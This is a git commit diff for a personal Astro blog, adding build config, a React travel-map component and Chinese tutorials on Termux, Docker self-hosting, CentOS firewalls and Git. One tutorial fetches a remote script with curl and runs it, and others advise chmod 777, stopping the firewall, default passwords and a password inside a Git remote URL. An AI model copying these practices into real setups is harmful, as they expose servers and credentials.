重构内容处理并改进构建配置

- 更新 Vite 配置,使用手动块拆分来提高性能
- 修改内容配置以处理特殊文件命名和路径解析
- 更新导航链接并删除未使用的页面
- 改进文章 API 和路由以支持动态路径处理
- 简化内容结构并添加用于路径操作的实用函数
This commit is contained in:
lsy 2025-03-09 01:11:43 +08:00
parent 2500865a46
commit 16125a580c
65 changed files with 6889 additions and 156 deletions

View File

@ -37,7 +37,26 @@ export default defineConfig({
format: 'directory'
},
vite: {
plugins: [tailwindcss()]
plugins: [tailwindcss()],
build: {
rollupOptions: {
output: {
// 手动分块配置
manualChunks: {
// 将地图组件单独打包
'world-heatmap': ['./src/components/WorldHeatmap.tsx'],
// 将 React 相关库单独打包
'react-vendor': ['react', 'react-dom'],
// 其他大型依赖也可以单独打包
'chart-vendor': ['chart.js'],
// 将其他组件打包到一起
'components': ['./src/components']
}
}
},
// 提高警告阈值,避免不必要的警告
chunkSizeWarningLimit: 1000
}
},
integrations: [

View File

@ -0,0 +1,111 @@
import React, { useEffect, useRef } from 'react';
import * as echarts from 'echarts';
import worldData from '@/assets/world.zh.json';
import chinaData from '@/assets/china.json';
import { VISITED_PLACES } from '@/consts';
const WorldHeatmap: React.FC = () => {
const chartRef = useRef<HTMLDivElement>(null);
useEffect(() => {
if (!chartRef.current) return;
const chart = echarts.init(chartRef.current);
// 合并中国省份到世界地图
const mergedWorldData = {
...worldData,
features: worldData.features.map((feature: any) => {
if (feature.properties.name === '中国') {
return {
...feature,
geometry: {
type: 'MultiPolygon',
coordinates: [] // 清空中国的轮廓
}
};
}
return feature;
}).concat(
// 添加中国省份数据
chinaData.features.map((feature: any) => ({
...feature,
properties: {
...feature.properties,
name: feature.properties.name
}
}))
)
};
echarts.registerMap('merged-world', mergedWorldData as any);
const option = {
title: {
text: '我的旅行足迹',
left: 'center',
top: 20
},
tooltip: {
trigger: 'item',
formatter: ({name}: {name: string}) => {
const visited = VISITED_PLACES.includes(name);
return `${name}<br/>${visited ? '✓ 已去过' : '尚未去过'}`;
}
},
visualMap: {
show: true,
type: 'piecewise',
pieces: [
{ value: 1, label: '已去过' },
{ value: 0, label: '未去过' }
],
inRange: {
color: ['#e0e0e0', '#91cc75']
},
outOfRange: {
color: ['#e0e0e0']
},
textStyle: {
color: '#333'
}
},
series: [{
name: '旅行足迹',
type: 'map',
map: 'merged-world',
roam: true,
emphasis: {
label: {
show: true
},
itemStyle: {
areaColor: '#91cc75'
}
},
data: mergedWorldData.features.map((feature: any) => ({
name: feature.properties.name,
value: VISITED_PLACES.includes(feature.properties.name) ? 1 : 0
})),
nameProperty: 'name'
}]
};
chart.setOption(option);
window.addEventListener('resize', () => {
chart.resize();
});
return () => {
chart.dispose();
window.removeEventListener('resize', () => {
chart.resize();
});
};
}, []);
return <div ref={chartRef} style={{ width: '100%', height: '600px' }} />;
};
export default WorldHeatmap;

View File

@ -7,7 +7,7 @@ export const NAV_LINKS = [
{ href: '/movies', text: '观影' },
{ href: '/books', text: '读书' },
{ href: '/projects', text: '项目' },
{ href: '/about', text: '关于' }
{ href: '/other', text: '其他' }
];
export const ICP = '渝ICP备2022009272号';

View File

@ -68,6 +68,43 @@ export function getDirPath(filePath: string, basePath = './src/content'): string
return dirPath;
}
// 辅助函数:获取原始文件路径(移除特殊前缀)
export function getOriginalPath(specialPath: string): string {
// 检查路径是否包含特殊前缀
const parts = specialPath.split('/');
const fileName = parts[parts.length - 1];
// 如果文件名以下划线开头,移除它
if (fileName.startsWith('_')) {
const originalFileName = fileName.substring(1);
const newParts = [...parts.slice(0, -1), originalFileName];
return newParts.join('/');
}
return specialPath;
}
// 辅助函数:获取特殊文件路径(添加特殊前缀)
export function getSpecialPath(originalPath: string): string {
// 检查文件名是否与其所在目录名相同或包含目录名
const parts = originalPath.split('/');
const fileName = parts[parts.length - 1].replace(/\.md$/, '');
// 如果文件名与目录名相同或以目录名开头,则在文件名前添加特殊前缀
if (parts.length > 1) {
const dirName = parts[parts.length - 2];
if (fileName === dirName || fileName.startsWith(dirName)) {
// 创建一个新的路径,在文件名前添加下划线前缀
const newFileName = fileName.startsWith('_') ? fileName : `_${fileName}`;
const fileExt = originalPath.endsWith('.md') ? '.md' : '';
const newParts = [...parts.slice(0, -1), newFileName + fileExt];
return newParts.join('/');
}
}
return originalPath;
}
// 3. 定义目录结构处理函数
function getContentStructure(contentDir = './src/content', basePath = './src/content'): ContentStructure {
// 检查目录是否存在
@ -83,8 +120,25 @@ function getContentStructure(contentDir = './src/content', basePath = './src/con
.map(item => {
// 生成相对于content目录的路径用于在页面中查找文章
const fullPath = path.join(contentDir, item.name);
// 将路径转换为相对于content目录的格式
return fullPath.replace(/\\/g, '/');
// 将路径转换为相对于content目录的格式并移除basePath
const relativePath = fullPath.replace(basePath, '').replace(/^[\/\\]/, '');
// 检查文件名是否与其所在目录名相同或包含目录名
const pathParts = relativePath.split(/[\/\\]/);
const fileName = pathParts[pathParts.length - 1].replace(/\.md$/, '');
// 如果文件名与目录名相同或以目录名开头,则在文件名前添加特殊前缀
if (pathParts.length > 1) {
const dirName = pathParts[pathParts.length - 2];
if (fileName === dirName || fileName.startsWith(dirName)) {
// 创建一个新的路径,在文件名前添加下划线前缀
const newFileName = `_${fileName}.md`;
const newPathParts = [...pathParts.slice(0, -1), newFileName];
return newPathParts.join('/');
}
}
return relativePath.replace(/\\/g, '/');
});
// 获取子目录(作为章节)
@ -95,8 +149,9 @@ function getContentStructure(contentDir = './src/content', basePath = './src/con
// 递归获取子目录的结构
const sectionContent: ContentStructure = getContentStructure(sectionPath, basePath);
// 确保路径格式正确
const normalizedPath = sectionPath.replace(/\\/g, '/');
// 确保路径格式正确并移除basePath
const relativePath = sectionPath.replace(basePath, '').replace(/^[\/\\]/, '');
const normalizedPath = relativePath.replace(/\\/g, '/');
return {
name: item.name,
@ -112,7 +167,10 @@ function getContentStructure(contentDir = './src/content', basePath = './src/con
// 4. 定义你的集合
const articles = defineCollection({
// 使用glob加载器从content目录加载所有markdown文件
loader: glob({ pattern: "**/*.md", base: "./src/content" }),
loader: glob({
pattern: "**/*.md",
base: "./src/content"
}),
schema: z.object({
title: z.string(),
date: z.date(),
@ -128,21 +186,8 @@ const articles = defineCollection({
}),
});
// 5. 定义目录集合
const sections = defineCollection({
type: 'data',
schema: z.object({
name: z.string(),
title: z.string().optional(),
description: z.string().optional(),
weight: z.number().optional(),
articles: z.array(z.string()).optional(),
subsections: z.array(z.string()).optional(),
}),
});
// 6. 导出一个 `collections` 对象来注册你的集合
export const collections = { articles, sections };
export const collections = { articles };
// 7. 导出内容结构,可以在构建时使用
export const contentStructure = getContentStructure();

View File

@ -0,0 +1,26 @@
---
title: "Android 安装 Linux"
date: 2023-12-11T20:53:00Z
tags: []
---
## 一. 安装 Termux
[官方版本](https://termux.dev/cn/)
[ZeroTermux (魔改)](https://github.com/hanxinhao000/ZeroTermux)
## 二. 安装 Linux
1. 下载容器脚本并使用
```bash
curl -LO https://gitee.com/mo2/linux/raw/2/2.awk
awk -f 2.awk
```
2. 安装容器
- 选择 `1. proot 容器`
- 选择 `1. arm64 发行版列表`
- 选择需要的镜像
- 选择需要的版本
- 如果显示没有权限读写文件,给软件 root 权限,重新开始
- 请问是否新建 sudo 用户: 否
- 遇到选择默认回车
- tmoe-Tools: 不需要图形化界面直接选 `0` 退出

View File

@ -0,0 +1,26 @@
---
title: "Android热点开机自启动和VPN热点"
date: 2022-12-06T19:08:00Z
tags: []
---
**需要 root 权限!密码都是** `lsy22`
## 一、热点开机启动
[MacroDroid-Pro](https://lsy22.lanzouj.com/itgMH0hz5pra?password=lsy22)
1. 打开 MacroDroid-Pro给予 root 权限
2. 点击下面的 **宏** 再点击 **加号**
3. 配置:
- **输入宏名称**:随便输入一个名字
- **触发器**:点击触发器右上角的加号——设备事件——设备启动
- **动作**:点击动作右上角的加号——连接——热点开/关——给予修改系统的权限(返回会弹出一个不适合此设备,忽略,点击确定)——选择启动热点,点击确认
4. 点击右下角三条杠带一个加号,就可以实现热点开机启动了
## 二、VPN 热点
[VPN 热点](https://lsy22.lanzouj.com/iS9hw0hz5rfa?password=lsy22)
1. 打开 *VPN 热点* 给予 root 权限
2. 将 *WLAN 热点* 打开,打开后会多一个 *wlan1*,将 *wlan1* 打开就可以实现 VPN 热点了

View File

@ -0,0 +1,43 @@
---
title: "一加6T刷三系统思路"
date: 2022-01-23T11:14:00Z
tags: []
---
## 一、准备工作
1. [刷回官方系统](https://oneplusbbs.com/forum.php?mod=viewthread&tid=4703804)
2. [解 Bootloader](https://www.oneplusbbs.com/forum.php?mod=viewthread&tid=4689069)
3. [刷 Recovery](http://www.romleyuan.com/lec/read?id=135)
4. [刷入 Windows (boot 镜像只刷入 b 分区,刷入后重启到 b 分区)](https://www.bilibili.com/video/BV1MU4y137Yi?spm_id_from=333.999.0.0)
## 二、切换系统步骤
### 切换安卓
1. 进入 fastboot 模式
2. 用一个 root 的手机连接一加6T
3. 在 root 手机上打开 [搞机助手](https://lsy22.lanzouq.com/il8M0z5c6oh?w1)
4. 选择全部 - otg 功能区 - fastboot 功能区切换 - 切换 a/b 分区 - 选择分区 A
5. 重启到 a 分区
### 切换 Windows
1. 切换回安卓
2. 进入 Recovery 模式
3. 将备份的 Windows 镜像刷入 b 分区
4. 重启到 b 分区
### 切换 Linux
1. 切换回安卓
2. 进入 Recovery 模式
3. 刷入 [Linux](https://www.bilibili.com/video/BV1CM4y1V73j/?share_source=copy_web&vd_source=5cfda173b3f4c09b66c641f3a24d103c)
4. 备份 Windows boot 镜像
5. 将 Linux 镜像刷入 b 分区
6. 重启到 b 分区
## 三、注意事项
- Linux 和 Windows 在一个分区Android 在一个分区,务必不要搞错,否则需要重新开始。
- 在每个切换步骤后,建议进入 Recovery 模式备份相应的分区。

View File

@ -0,0 +1,190 @@
---
title: "Docker安装typecho"
date: 2024-06-17T02:19:34+08:00
tags: ["Docker-compose"]
---
## 创建 `nginx` 站点配置文件
### 网站目录结构
```text
.
├── docker-compose.yml
├── data # 网站源代码
├── php
│ └── Dockerfile # 构建PHP配置文件
├── nginx # 用于存储nginx相关文件
│ ├── logs # 日志文件
│ └── conf # 配置文件
│ └── default.conf
└── mysql # 用于存储mysql相关文件
├── data # 数据文件
├── logs # 日志文件
└── conf # 配置文件
```
### 需要配置文件详细说明
1. **PHP 容器配置文件**
文件路径: `./php/Dockerfile`
构建 PHP 容器,安装 PDO_MySQL 扩展并配置 PHP.ini
```dockerfile
FROM php:fpm
# 更新包列表并安装 pdo_mysql 扩展
RUN apt-get update && \
apt-get install -y libpq-dev && \
docker-php-ext-install pdo_mysql && \
rm -rf /var/lib/apt/lists/*
# 设置 PHP 配置
RUN { \
echo "output_buffering = 4096"; \
echo "date.timezone = PRC"; \
} > /usr/local/etc/php/conf.d/custom.ini
```
2. **Nginx 服务器配置**
文件路径:`./nginx/conf/default.conf`
Nginx 服务器配置文件,包括服务器监听、根目录设置、重写规则和 PHP 处理:
```nginx
server {
listen 80 default_server; # 监听 80 端口
root /var/www/html; # 网站根目录
index index.php index.html index.htm;
access_log /var/log/nginx/typecho_access.log main; # 访问日志
if (!-e $request_filename) {
rewrite ^(.*)$ /index.php$1 last; # 重写 URL 到 index.php
}
location / {
if (!-e $request_filename) {
rewrite . /index.php last; # 如果文件不存在,重写到 index.php
}
}
location ~ \.php(.*)$ {
fastcgi_pass php:9000; # 转发 PHP 请求到 php-fpm 服务
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; # 设置脚本文件名参数
include fastcgi_params; # 包含 fastcgi 参数
}
}
```
3. **Typecho 源代码部署**
创建 `./data` 文件夹,并将 [Typecho](https://github.com/typecho/typecho/releases) 源代码放入此文件夹。
docker容器不以root权限运行,无法访问文件,需要赋权
```bash
chmod -R 777 data
```
4. **Docker Compose 配置**
路径: `./docker-compose.yml`
定义和启动多个服务的 Docker Compose 文件:
可自行更改
* nginx 中的端口,默认为`9757`
* MySQL中的 root的密码 和 需要创建的数据库名称,默认都为`typecho`
```yaml
services: # 定义多个服务
nginx: # 服务名称
image: nginx # 使用的镜像
ports: # 映射的端口
- "9575:80" # 宿主机端口 9575 映射到容器端口 80
restart: always # 容器重启策略
volumes: # 映射文件
- ./data:/var/www/html # 网站源代码
- ./nginx/conf:/etc/nginx/conf.d # nginx 站点配置文件
- ./nginx/logs:/var/log/nginx # nginx 日志文件
depends_on: # 定义依赖关系
- php # 依赖 php 服务
networks: # 要加入的网络
- typecho # 加入 typecho 网络
php: # 服务名称
build: ./php # 构建文件的目录
restart: always # 容器重启策略
volumes: # 映射文件
- ./data:/var/www/html # 网站源代码
depends_on: # 定义依赖关系
- mysql # 依赖 mysql 服务
networks: # 要加入的网络
- typecho # 加入 typecho 网络
mysql: # 服务名称
image: mysql:5.7 # 指定 5.7 版本的 mysql 镜像
restart: always # 容器重启策略
volumes: # 要映射的文件
- ./mysql/data:/var/lib/mysql # mysql 数据
- ./mysql/logs:/var/log/mysql # mysql 日志
- ./mysql/conf:/etc/mysql/conf.d # mysql 配置文件
environment: # 环境变量
MYSQL_ROOT_PASSWORD: typecho # MySQL root 用户的密码
MYSQL_DATABASE: typecho # 创建的数据库名称
networks: # 要加入的网络
- typecho # 加入 typecho 网络
networks: # 定义的内部网络
typecho: # 网络名称
```
## 安装
### 启动
```bash
docker compose up -d
```
### 配置
如果修改过`docker-compose.yml`
* 数据库地址: `mysql`
```text
因为docker内部网络可以用过容器名访问
```
* 数据库用户名: `root`
* 数据库密码: `typecho`
* 数据库名: `typecho`
* 启用数据库 SSL 服务端证书验证: 关闭
* 其他默认或随意
## 问题
### 恢复直接用nginx+MySQL搭建的网站
1. 将原来的文件放入data
2. 进入mysql容器,导入数据库文件
3. 在`docker-compose.yml`的环境变量中加入
```yaml
MYSQL_USER=typecho # 原有 MySQL 用户名
MYSQL_PASSWORD=typecho # 原有 MySQL 用户密码
```
4. 进入mysql容器,将数据库赋权给原用户
### 排版错误
`config.inc.php` 末尾加入
```php
define('__TYPECHO_SECURE__',true);
```

View File

@ -0,0 +1,151 @@
---
title: "Docker部署gitea"
date: 2023-05-26T20:21:00+00:00
tags: ["Docker-compose"]
---
## 准备数据库
### 1. 登录到数据库
```bash
mysql -u root -p
```
### 2. 创建一个将被 Gitea 使用的数据库用户,并使用密码进行身份验证
```sql
CREATE USER 'gitea' IDENTIFIED BY 'Password';
```
> 将`Password`改为自己的密码
### 3. 使用 UTF-8 字符集和大小写敏感的排序规则创建数据库
```sql
CREATE DATABASE giteadb CHARACTER SET 'utf8mb4' COLLATE 'utf8mb4_bin';
```
### 4. 将数据库上的所有权限授予上述创建的数据库用户
```sql
GRANT ALL PRIVILEGES ON giteadb.* TO 'gitea';
FLUSH PRIVILEGES;
```
## 直通配置
### 1. 创建一个名为 `git` 的用户
```bash
sudo useradd -m git
```
### 2. 配置`git`用户登录密钥
```bash
su git -c 'ssh-keygen -t rsa -b 4096 -C "Gitea Host Key"'
su git -c 'cat /home/git/.ssh/id_rsa.pub >> /home/git/.ssh/authorized_keys'
```
### 3. 查看 uid 和 gid
```bash
id git
```
记住 uid 和 gid
### 4. SSH 容器直通
在主机上创建一个名为 `/usr/local/bin/gitea` 的**文件**,该文件将发出从主机到容器的 `SSH` 转发
```bash
ssh -p 7222 -o StrictHostKeyChecking=no git@127.0.0.1 "SSH_ORIGINAL_COMMAND=\"$SSH_ORIGINAL_COMMAND\" $0 $@"
```
## Docker 安装
### 1. 创建数据持久化的存储路径
### 2. 进入该文件夹
### 3. 创建`docker-compose.yml` 文件并配置
> 将下面的USER_UID=1000 USER_GID=1000 换为得到uid 和 gid
```yaml
version: "3"
networks:
gitea:
external: false
services:
server:
image: gitea/gitea:latest
container_name: gitea
environment:
- USER_UID=1000
- USER_GID=1000
- GITEA__database__DB_TYPE=mysql
- GITEA__database__HOST=db:3306
- GITEA__database__NAME=gitea
- GITEA__database__USER=gitea
- GITEA__database__PASSWD=gitea
restart: always
networks:
- gitea
volumes:
- ./data:/data
- /etc/timezone:/etc/timezone:ro
- /etc/localtime:/etc/localtime:ro
- /home/git/.ssh/:/data/git/.ssh
ports:
- "7200:3000"
- "7222:22"
depends_on:
- db
db:
image: mysql:8
restart: always
environment:
- MYSQL_ROOT_PASSWORD=gitea
- MYSQL_USER=gitea
- MYSQL_PASSWORD=gitea
- MYSQL_DATABASE=gitea
networks:
- gitea
volumes:
- ./mysql:/var/lib/mysql
```
### 4. 启动 Docker 容器
```bash
sudo docker compose up -d
```
## 反向代理
```nginx
server {
listen 80;
listen [::]:80;
server_name g.lsy22.com; # 替换为您的域名
return 301 https://$host$request_uri; # 将所有HTTP请求重定向到HTTPS
}
server {
listen 443 ssl http2;
listen [::]:443 ssl http2;
server_name g.lsy22.com; # 替换为您的域名
ssl_certificate /root/.acme.sh/g.lsy22.com/fullchain.cer; # SSL证书路径
ssl_certificate_key /root/.acme.sh/g.lsy22.com/g.lsy22.com.key; # SSL密钥路径
location / {
proxy_pass http://localhost:7200;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_set_header X-Forwarded-Host $host;
proxy_set_header X-Forwarded-Port $server_port;
}
}

View File

@ -0,0 +1,80 @@
---
title: "Docker部署思源笔记"
date: 2024-06-07T21:01:46+08:00
tags: ["Docker-compose"]
---
## `docker-compose.yml` 文件配置
### 替换说明:
* 将 `/var/www/siyuan/` 替换为你的实际物理路径。
* 将 `Password` 替换为你的访问密码。
```yaml
version: "3.9"
services:
siyuan:
image: b3log/siyuan
container_name: siyuan
restart: always
ports:
- 6806:6806
volumes:
- ./:/siyuan/workspace
command:
- "--workspace=/siyuan/workspace/"
- "--lang=zh_CN"
- "--accessAuthCode=<password>"
```
## 反向代理配置
### 替换说明:
* 将 `your_domain.com` 替换为你自己的域名。
* 将 `path` 替换为你的SSL证书的实际路径。
```nginx
upstream siyuan {
server 127.0.0.1:6806; # 将流量定向到本地的6806端口
}
server {
listen 80;
listen [::]:80;
server_name your_domain.com; # 设置服务器域名
# 将所有 HTTP 请求重定向到 HTTPS
location / {
return 301 https://$host$request_uri;
}
}
server {
listen 443 ssl http2;
listen [::]:443 ssl http2;
server_name your_domain.com; # 设置服务器域名
# 配置 SSL 证书路径
ssl_certificate path/fullchain.cer;
ssl_certificate_key path/file.key;
client_max_body_size 0; # 不限制请求体大小
location / {
proxy_pass http://siyuan; # 反向代理到上游 siyuan
proxy_set_header HOST $host;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
location /ws {
proxy_pass http://siyuan;
proxy_read_timeout 60s; # 设置读取超时时间
proxy_http_version 1.1; # 使用 HTTP 1.1
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection 'Upgrade'; # 支持 WebSocket
}
}

View File

@ -0,0 +1,90 @@
---
title: "密码管理器—Vaultwarden(bitwarden)"
date: 2023-05-18T21:47:00+00:00
tags: ["Docker-compose"]
---
## 1. 安装 Vaultwarden
使用以下 `docker-compose.yml` 文件部署 Vaultwarden
```yaml
version: '3.8'
services:
bitwarden:
image: vaultwarden/server:latest
container_name: vaultwarden
restart: always
environment:
- SIGNUPS_ALLOWED=true # 是否开启用户注册
- WEBSOCKET_ENABLED=true
- TZ=Asia/Shanghai
- ADMIN_TOKEN="<password>" # 管理员密码
volumes:
- ./:/data/
ports:
- "6666:80"
- "3012:3012"
```
## 2. 设置反向代理
使用 Nginx 设置反向代理,以下是基本的配置示例:
> **需要修改的参数**
>
> 1. `ssl_certificate` : SSL证书路径
> 2. `ssl_certificate_key` : SSL证书路径
> 3. `server_name `: 跟你前面配置的domain相同,案例中为`b.lsy22.com`
> 4. `proxy_pass` : 运行Vaultwarden的服务器地址和端口比如本机为127.0.0.1:6666
```nginx
server {
listen 80;
listen [::]:80;
listen 443 ssl http2;
listen [::]:443 ssl http2;
server_name b.lsy22.com; # 将 your_domain.com 替换为您的域名
ssl_certificate /root/.acme.sh/b.lsy22.com/fullchain.cer; # 填入SSL证书路径
ssl_certificate_key /root/.acme.sh/b.lsy22.com/b.lsy22.com.key;# 填入SSL证书路径
location / {
proxy_pass http://127.0.0.1:6666;
proxy_http_version 1.1;
proxy_cache_bypass $http_upgrade;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_set_header X-Forwarded-Host $host;
proxy_set_header X-Forwarded-Port $server_port;
}
location /notifications/hub {
proxy_pass http://127.0.0.1:3012;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
}
location /notifications/hub/negotiate {
proxy_pass http://127.0.0.1:6666;
}
}
```
## 3. 创建账号
访问 Vaultwarden 的 Web 界面创建账号。
## 其他
### 翻译模板
将翻译好的模板放到`templates`目录下,如果没有创建一个
模板下载链接:[https://github.com/wcjxixi/vaultwarden-lang-zhcn](https://github.com/wcjxixi/vaultwarden-lang-zhcn)

View File

@ -0,0 +1,91 @@
---
title: "网盘直链程序—AList"
date: 2023-05-26T20:21:00+00:00
tags: ["Docker-compose","WebDAV"]
---
## 1. 项目展示
- **GitHub项目地址**[Alist on GitHub](https://github.com/Xhofe/alist)
- **Demo演示站点**[访问Demo](https://alist.nn.ci)
- **Alist文档地址**[阅读文档](https://alist-doc.nn.ci/en/)
## 2. 搭建Docker
- [Docker官方部署教程](https://docs.docker.com/engine/install/debian/)
## 3. 搭建Alist
运行以下Docker Compose文件进行Alist的安装
```yaml
version: '3.8'
services:
alist:
image: xhofe/alist:latest
container_name: alist
restart: always
volumes:
- ./:/opt/alist/data
ports:
- "7777:5244"
```
- **查看初始化密码**:运行`docker logs alist`命令可以查看Alist的初始密码。
- **更改密码建议**:建议更改一个自己能够记住的密码。
## 4. 配置反向代理
配置Nginx反向代理以便安全访问Alist站点
```nginx
server {
listen 80;
listen [::]:80;
listen 443 ssl http2;
listen [::]:443 ssl http2;
server_name o.lsy22.com; # 替换为您的域名
ssl_certificate /root/.acme.sh/o.lsy22.com/fullchain.cer; # SSL证书路径
ssl_certificate_key /root/.acme.sh/o.lsy22.com/o.lsy22.com.key; # SSL密钥路径
location / {
proxy_pass http://127.0.0.1:7777/;
rewrite ^/(.*)$ /$1 break;
proxy_redirect off;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header Upgrade-Insecure-Requests 1;
proxy_set_header X-Forwarded-Proto https;
}
}
```
## 5. 账号管理
- **随机生成密码**:运行`docker exec -it alist ./alist admin random`。
- **手动设置密码**:运行`docker exec -it alist ./alist admin set NEW_PASSWORD`,其中`NEW_PASSWORD`替换为您想要的密码。
## 6. 挂载配置
- **挂载路径**`/`
- **根目录路径**`/opt/alist/data/`对应VPS上的`/www/wwwroot/alist`目录。
如果需要进一步的目录细分,可以设置路径为`/opt/alist/data/Userdata/`,在`/www/wwwroot/alist`下创建`Userdata`文件夹,并存放文件。
- **其他网盘添加方式**:请参考[Alist文档](https://alist-doc.nn.ci/en/)
## 7. 更新Alist
若需更新Alist请按以下步骤操作
1. **停止容器**:运行`docker stop alist`
2. **删除容器**:运行`docker rm -f alist`(此操作不会删除数据)
3. **备份数据**(可选):运行`cp -r /root/data/docker_data/alist /root/data/docker_data/alist.bak`
4. **拉取最新镜像**:运行`docker pull xhofe/alist:latest`
5. **重新运行安装**:运行`docker run -d --restart=always -v /www/wwwroot/alist:/opt/alist/data -p 7777:5244 --name="alist" xhofe/alist:latest`
---

View File

@ -0,0 +1,52 @@
---
title: "CentOS 7 查看、开放端口"
date: 2022-06-26T00:20:00+00:00
tags: []
---
## 开放和关闭端口
### 开放 8888 端口
```bash
firewall-cmd --zone=public --add-port=8888/tcp --permanent
```
### 关闭 8888 端口
```bash
firewall-cmd --zone=public --remove-port=8888/tcp --permanent
```
### 配置立即生效
```bash
firewall-cmd --reload
```
## 查看防火墙所有开放的端口
```bash
firewall-cmd --zone=public --list-ports
```
## 关闭防火墙
如果要开放的端口太多,嫌麻烦,可以关闭防火墙,安全性自行评估
```bash
systemctl stop firewalld.service
```
## 查看防火墙状态
### 方式一
```bash
firewall-cmd --state
```
### 方式二
```bash
systemctl status firewalld.service
```
## 查看监听的端口
```bash
netstat -ntlp
```
> PS: CentOS 7 默认没有 netstat 命令,需要安装 net-tools 工具yum install -y net-tools

View File

@ -0,0 +1,355 @@
---
title: "Git 使用方法"
date: 2023-12-01T21:02:00Z
tags: []
---
## 一、安装git
[git官网下载](https://git-scm.com/downloads)
## 二、建立仓库
### 本地仓库
> 例如我的本地项目在`D:\data\code\C`
### 1. 进入项目
```bash
cd d:
cd D:\data\code\C
```
### 2. 变成Git可以管理的仓库
```bash
git init
```
### 3. 在GitHub (类似 Gitee 的代码托管服务)创建一个仓库
## 三、本地仓库关联 GitHub (类似 Gitee 的代码托管服务)仓库
### 连接代码托管平台
> 你需要添加一个新的远程仓库并将其命名为`github`或其他你喜欢的名称。**任选其一**
HTTPS URL命令如下
```bash
git remote add github https://<你的 github 用户名>:<你的 github 密码>@github.com/<你的 github 用户名>/<你的仓库名称>.git
```
SSH URL命令可能如下
```bash
git remote add gitee git@github.com:<你的 github 用户名>/<你的仓库名称>.git
```
### 绑定用户
#### 1. 设置用户信息
绑定邮箱
```bash
git config --global user.email "you@example.com"
```
绑定用户名
```bash
git config --global user.name "Your Name"
```
#### 2. 创建密钥
在用户主目录下,看看有没有.ssh目录如果有再看看这个目录下有没有id_rsa和id_rsa.pub这两个文件如果已经有了可直接跳到下一步。如果没有打开ShellWindows下打开Git Bash创建SSH Key
```bash
ssh-keygen -t rsa -C "youremail@example.com"
```
> 你需要把邮件地址换成你自己的邮件地址,然后一路回车,使用默认值即可
#### 3. 绑定密钥
登陆GitHub打开`Account settings``SSH Keys`页面,点`Add SSH Key`
填上任意Title在Key文本框里粘贴`id_rsa.pub`文件的内容
#### 4. 验证远程仓库:
```bash
git remote -v
```
## 四、上传本地代码
### 1. 添加工作目录中的所有更改到暂存区:
```bash
git add .
```
> 如果需要添加单个文件或文件夹将`.`换成文件或或文件夹所在的地址(例如`git add README.md`)
### 2. 提交已暂存的更改
```bash
git commit -m "提交注释"
```
### 3. 上传本地代码到代码托管服务平台
```bash
git push github master
```
> github是之前给仓库的命名,main是分支的名称
## 常用的 Git 命令
* 推送
```bash
git push <origin> <master>
```
* 强制将推送本地分支
```bash
git push -f <origin> <master>
```
* 拉取
```bash
git pull <origin> <master>
```
* 强制将分支的最新内容拉取到本地的分支
```bash
git pull --force <origin> <master>
```
* 将本地分支重置为远程分支的最新状态
```bash
git reset --hard <origin>/<master>
```
* 克隆仓库
```bash
git clone <url>
```
* 添加所有更改到暂存区
```bash
git add .
```
* 撤销部分文件的暂存
```bash
git reset <file1> <file2>
```
* 将文件从缓存区中移除,但物理文件仍然存在
```bash
git rm --cached <path>
```
* 查看暂存区的内容
```bash
git ls-files
```
* 提交已暂存的更改
```bash
git commit -m "Commit message"
```
* 查看分支
```bash
git branch
```
* 创建并切换到新分支
```bash
git checkout -b <new_branch_name>
```
* 删除本地分支
```bash
git branch -d <branch_name>
```
* 添加远程仓库
```bash
git remote add <origin> <remote_repository_url>
```
* 移除与远程仓库的关联
```bash
git remote remove <origin>
```
* 版本回退
> HEAD相当与当前、HEAD~1 退回上一个版本、HEAD~2 退回上两个版本,依次类推。
```bash
git reset --hard HEAD~1
```
或者
```bash
git reset --hard (目标版本号)
```
## 报错
### LF will be replaced by CRLF the next time Git touches it
> 这个警告是由于 Windows 和 Unix 系统之间的换行符 (\n 和 \r\n) 不同引起的。在 Windows
> 上,文本文件的行尾通常由 \r\n 表示,而在 Unix/Linux 等系统上,行尾通常由 \n 表示。
>
> 这个警告通常出现在文件的换行符混合使用时,比如在 Windows 系统上使用的 CRLF\r\n格式的换行符而在 Git 中又配置了
> core.autocrlf 为 true 的情况下。
#### 1. 禁用 core.autocrlf
```bash
git config --global core.autocrlf false
```
> 这将禁用自动换行符转换,保留文件中原有的换行符。
#### 2. 设置 core.eol
如果你希望在提交时保持换行符转换,但希望检出时保持原样,你可以尝试设置 core.eol
```bash
git config --global core.eol lf
```
或者:
```bash
git config --global core.eol crlf
```
这将设置 Git 使用指定的换行符风格。
#### 3. 手动修复文件:
如果只是个别文件出现这个问题,你也可以手动修复,将文件的行尾调整为你希望的格式。
可以使用文本编辑器或者 Git 提供的工具。
注意,上述设置是全局的,对所有 Git 仓库有效。如果只想在当前仓库中应用这些设置,去掉 --global 即可。
## 进阶
### 上传需要忽略的文件
在项目根目录下创建一个名为`.gitignore`的文件,然后在文件中列出你想要忽略的文件和目录例如
```text
# 忽略 test.c 文件
test.c
# 忽略 practice_test/ 目录下的文件
practice_test/
# 忽略 所有test.c 文件
**/test.c
```
在项目根目录下创建一个名为`.gitignore`的文件,然后在文件中列出你想要忽略的文件和目录
```text
# 忽略 test.c 文件
practice_code/test.c
# 忽略 practice_test/ 目录下的文件
practice_test/
# 忽略 所有test.c 文件
**/test.c每次提交自动同步到代码托管服务平台
```
#### 2. 将已被追踪的文件的更改加入到暂存区
```bash
git add -u
```
### 每次提交自动同步到代码托管服务平台
1. 创建钩子
在本地仓库的`.git/hooks`目录下,你可以创建一个名为`post-commit`的文件,该文件是在每次提交后运行的钩子
```bash
#!/bin/bash
# 自动同步到 Gitee
git push gitee master
# 自动同步到 GitHub
